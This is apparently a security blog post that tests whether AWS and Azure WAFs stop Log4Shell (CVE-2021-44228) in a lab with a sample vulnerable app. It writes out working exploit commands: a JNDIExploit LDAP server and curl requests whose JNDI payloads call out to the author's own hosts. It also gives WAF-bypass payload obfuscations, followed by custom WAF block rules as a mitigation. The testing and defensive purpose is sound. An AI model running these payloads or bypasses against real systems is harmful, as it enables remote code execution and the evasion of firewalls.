Testing Cloud (AWS & Azure) WAF Capabilities Against log4shell(CVE-2021–44228)

·

11 min read

Log4j shell or Log4Shell or LogJam[CVE-2021–44228] is a zero day that allows hackers to execute remote code execution(RCE). It exploits JNDI Api that uses LDAP protocol.
Some organization might be thinking that they have cloud WAF’s like AWS WAF & Azure WAF, etc which will by default protect against this.
Let’s dive in and check the capabilities of these cloud WAFs like AWS & Azure.

What is log4j Vulnerability?

Log4j is a java based library developed by the Apache Software Foundation and is used for logging purposes by many software. For example, Druid, ELK, Minecraft, etc.

The zero-day vulnerability is serious because exploiting it could allow attackers to control java-based applications and perform remote code execution (RCE) attacks. In simple words, this would allow a hacker to take control of the entire system. The vulnerability is officially given a CVE-2021–44228 and called as Log4Shell.

If an attacker manages to inject payload into remote server’s log messages then, the targeted server will execute the request via Java Naming & Directory Interface(JNDI) API calls, JNDI then uses LDAP protocol to serve the request.

Payload : ${jndi:<protocol>://[attacker-ip-address:port-number]}

Apache released patch version i.e 2.15.0.

Affected Apache log4j Versions

Testing Log4Shell vulnerability

We will be using Log4Shell sample vulnerable application (CVE-2021–44228) .

As organizations are running towards fixing and mitigating the issue. There are chances that they might trust their cloud WAF’s which are running OWASP CRS, which is indeed a good ruleset but prevents general attacks.

Zero-days rules needed to be tweaked so that CRS can protect against such attacks but in the case of cloud providers like AWS & Azure, this facility is not provided.

We will see how to set up a basic vulnerable log4j application and then test the AWS WAF & Azure WAF failed capabilities.
Also, we will try to add some custom rules which can temporarily protect against the log4shell attack and buy organizations some time so that they can find vulnerable libraries & code via searching repositories or using any tools like dependency check.

Note: Below created custom rules are based on application and only for the demo. These rules can be easily bypassed.

Testing & Bypassing AWS WAF

#Setup

#sudo su
#apt update -y
#sudo apt install containerd -y
#apt install docker.io -y
#service docker start
#docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app

  • Check whether the vulnerable application is running or not.

  • In another terminal download JNDIExploit.v1.2.zip (virus total).

  • Run the command:

#java -jar JNDIExploit-1.2-SNAPSHOT.jar -i <instance public IP (this will be malicious ldap server)> -p 8888

  • Then from the local machine send the payload:
# will execute 'touch /tmp/pwned'
#curl 35.163.175.93:8080 -H 'X-Api-Version: ${jndi:ldap://35.163.175.93:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'

  • Now check the request on JNDI exploit terminal.

A Java-based application can use JNDI + LDAP together to find a object containing data.
For example, the following URL ldap://35.163.175.93:1389/cn=email to find and invoke the object remotely from an LDAP server running on either the same machine or on the remote machine hosted and then goes to read attributes.
Thus, the LDAP server could either be running anywhere remotely. This means if an attacker could control the LDAP URL they’d be able to cause a Java program to instantiate a class from an LDAP server under their control. If an attacker can control this JNDI URL, it can cause the application to load and execute arbitrary code.

https://www.horizon3.ai/cve-2021-44228/

  • Then the output of JNDI Exploit, we can see that it has sent a malicious LDAP response and served another payload with command. Thus making it a complete RCE attack.

  • Now in another tmux terminal check the file has been created in the tmp directory of the docker thus making it certain that a malicious LDAP request has triggered the RCE.

#Testing AWS WAF

In this scenario, we are running a load balancer pointing to an ec2 instance with AWS WAF enabled.
First we will enable the AWS managed ruleset and perform log4shell attack the application thus validating that AWS owned rules are not protecting against such attacks.
Secondly we will create custom rules and perform the same attack. This will block some kind of attacks temporarily.

  • Set up a load balancer and point it to the ec2 instance 35.163.175.93 running application on port 80.
docker run --name vulnerable-app -p 80:8080 ghcr.io/christophetd/log4shell-vulnerable-app

  • Now check whether the application is running via the load balancer

  • Generate a new payload to validate AWS WAF bypass.
#echo ‘touch /tmp/waf-bypassed’ | base64
dG91Y2ggdG1wL3dhZi1ieXBhc3NlZAo=
  • Again, In another terminal download JNDIExploit.v1.2.zip (virus total) and run the JNDI exploit jar.
#java -jar JNDIExploit-1.2-SNAPSHOT.jar -i <instance public IP (this will be malicious ldap server)> -p 8888

  • Then send the malicious payload to perform the attack and bypass the AWS WAF managed ruleset.

AWS Managed Rules for AWS WAF is a managed service that provides protection against common application vulnerabilities or other unwanted traffic, without having to write your own rules.

Enabled AWS managed rules:
- AWS-AWSManagedRulesCommonRuleSet
- AWS-AWSManagedRulesLinuxRuleSet
- AWS-AWSManagedRulesKnownBadInputsRuleSet
- AWS-AWSManagedRulesUnixRuleSet
- AWS-AWSManagedRulesSQLiRuleSet

curl http://alb-waf-xxxxxxxxx.us-west-2.elb.amazonaws.com -H ‘X-Api-Version: ${jndi:ldap://35.163.175.93:1389/Basic/Command/Base64/dG91Y2ggdG1wL3dhZi1ieXBhc3NlZAo=}

  • Now in another tmux terminal check the file has been created in the tmp directory of the docker with the name way-bypassed thus confirming the RCE attack.

  • Check the AWS WAF logs, no log4shell attack request has been blocked.

#update

  • I got to know that all the common payloads tested and used were blocked. Then I tried testing all the available payloads on the internet.

Neither I am expert in JAVA nor with the WAF’s, I am using already available knowledge.

  • After trying for hours I was again able to bypass the AWS using the payload: ${jnd${123%25ff:-${123%25ff:-i:}}ldap://54.202.15.244:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9oYWNrZWRub3d3YQ==}

  • Check the vulnerable application server to check the successful exploitation of log4shell.

Testing & Bypassing Azure WAF

#Setup

  • Run a virtual machine and install docker, similar to ec2 installation.

  • ssh into the server.

  • Run the commands to install the docker and vulnerable log4shell application.

#sudo su
#apt update -y
#sudo apt install containerd -y
#apt install docker.io -y
#service docker start
#docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app
  • Check whether the vulnerable application is running or not.

  • In another terminal download JNDIExploit.v1.2.zip (virus total).

  • Run the command:

#java -jar JNDIExploit-1.2-SNAPSHOT.jar -i <instance public IP (this will be malicious ldap server)> -p 8888

  • Then from the local machine send the payload:
# will execute 'touch /tmp/pwned'
#curl 40.71.71.203:8080 -H 'X-Api-Version: ${jndi:ldap://40.71.71.203:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'

  • Now check the request on JNDI exploit terminal.

  • Then the output of JNDI Exploit has sent a malicious LDAP response and served another payload with command.

  • Now in another tmux terminal check the file has been created in the tmp directory.

#Testing Azure WAF

In this scenario, we are running a load balancer pointing to an virtuals machine with Azure WAF enabled.
First we will enable the Azure managed rules ( Web Application Firewall CRS rule groups and rules )and perform log4shell attack the application thus validating that Azure waf rules are not protecting against log4shell attacks.
Secondly again we will create custom rules on Azure WAF and perform the same attack. Thus understanding temporary mitigation and WAF capabilities similar to AWS WAF

  • Set up an application gateway and point it to the virtual machine 40.71.71.203 running application on port 80.

  • The Azure WAF load balancer is having an IP address instead of a URL as in the case of AWS.

  • Here the Loadbalancer has been assigned the IP of

docker run --name vulnerable-app -p 80:8080 ghcr.io/christophetd/log4shell-vulnerable-app

  • Now check whether the application is running via the gateway IP address.

  • Generate a new payload to validate Azure WAF bypass.

#echo ‘touch /tmp/waf-bypassed’ | base64
dG91Y2ggdG1wL3dhZi1ieXBhc3NlZAo=
  • Again, In another terminal download JNDIExploit.v1.2.zip (virus total) and run the JNDI exploit jar.
#java -jar JNDIExploit-1.2-SNAPSHOT.jar -i <instance public IP (this will be malicious ldap server)> -p 8888

The Azure Application Gateway Web Application Firewall (WAF) v2 comes with a pre-configured, platform-managed ruleset that offers protection from many different types of attacks.
Application Gateway supports three rule sets: CRS 3.1, CRS 3.0, and CRS 2.2.9. These rules protect your web applications from malicious activity.

For more information, see Web application firewall CRS rule groups and rules.

  • Azure provides only CRS (Core Rule Set), but they are more effective in protecting various attacks. One can always prefer Azure WAF over AWS WAF.
curl 40.121.244.146 -H 'X-Api-Version: ${jndi:ldap://40.71.71.203:1389/Basic/Command/Base64/dG91Y2ggdG1wL3dhZi1ieXBhc3NlZAo=}'
  • Then again run the curl command on the WAF endpoint: 40.121.244.146 with exploit and LDAP server as 40.71.71.203:1389

  • As we can see the request is blocked.

This proves that Azure WAF has put some kind of restriction as compared to AWS WAF. This is really great as this will stop all basic recons.
Now we will try to bypass the Azure WAF

  • We can use Burp Suite to test and bypass the payload easily via using the repeater.

  • Let’s use this payload from twitter: ${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://

  • But instead of changing the complete payload let’s try to change the value of p in LDAP.
    ldap -> lda${lower:p}

curl 40.121.244.146 -H 'X-Api-Version: ${jndi:lda${lower:p}://40.71.71.203:1389/Basic/Command/Base64/dG91Y2ggdG1wL3dhZi1ieXBhc3NlZAo=}'

  • Now in another tmux terminal check the file has been created in the tmp directory of the docker with the name way-bypassed thus confirming the RCE attack.

Thus this is proved that managed rules are unable to protect against these attacks and Azure WAF is currently unable to protect against log4shell zero-day attacks but Azure WAF is having some kind of protection mechanism. As there is limit to managed rules one can write, Azure WAF add basic check thus providing space to write more custom rules.

#update: I am really amazed that AWS started blocking most of the payloads for such a critical attack after the blog and I would like to thank AWS for helping the customers who are using AWS WAF.

Some of the common mitigations along with custom rules are mentioned below.

Mitigation

#AWS WAF Custom Rule

  • Create AWS custom rule based on string and regex.

  • We have created a string-based custom rule for AWS WAF to protect against log4shell.

If a request matches at least one of the statements (OR) 
Statement 1 
Field to match 
Header (x-api-version) 
Positional constraint 
Contains string 
Search string jndi: 
Text transformations None (Priority 0)
Statement 2 
Field to match 
Header (x-api-version) 
Positional constraint 
Contains string 
Search string ${${ 
Text transformations None (Priority 0)
Statement 3 
Field to match 
Header (x-api-version) 
Positional constraint 
Contains string 
Search string jndi:ldap 
Text transformations None (Priority 0)
Then Action The action to take when a web request matches the rule statement. 
Action Block

  • Add the custom rule and try sending malicious requests.

  • The server responded with forbidden 403.

#Azure WAF Custom Rule

  • Create AWS custom rule based on string and regex.

  • We have created a string-based custom rule for AWS WAF to protect against log4shell.

Custom rule name
Priority
Conditions
If
Match type
String
Match variables
Match variable
RequestHeaders
Header name
Operation is
is not
Operator Contains
Transformations 
UrlDecode 
Lowercase
Select a transformation 
Match values 
jndi: 
${${ 
jndi:dns
  • Add the custom rule and try sending malicious requests.

  • The server responded with forbidden 403 with our bypass payload: ${jndi:lda${lower:p}://40.71.71.203:1389/Basic/Command/Base64/dG91Y2ggdG1wL3dhZi1ieXBhc3NlZAo=} .

  • Another payload: ${jndi:${lower:l}${lower:d}${lower:a}${lower:p}:// also blocked.

Note: This azure blog gives some insight on guidance for preventing, detecting, and hunting for CVE-2021–44228 Log4j 2 exploitation.

Always perform multiple rounds of testing before deploying any custom WAF rule on production else it can block genuine traffic.

#Other application based mitigations

Bypass

Reference: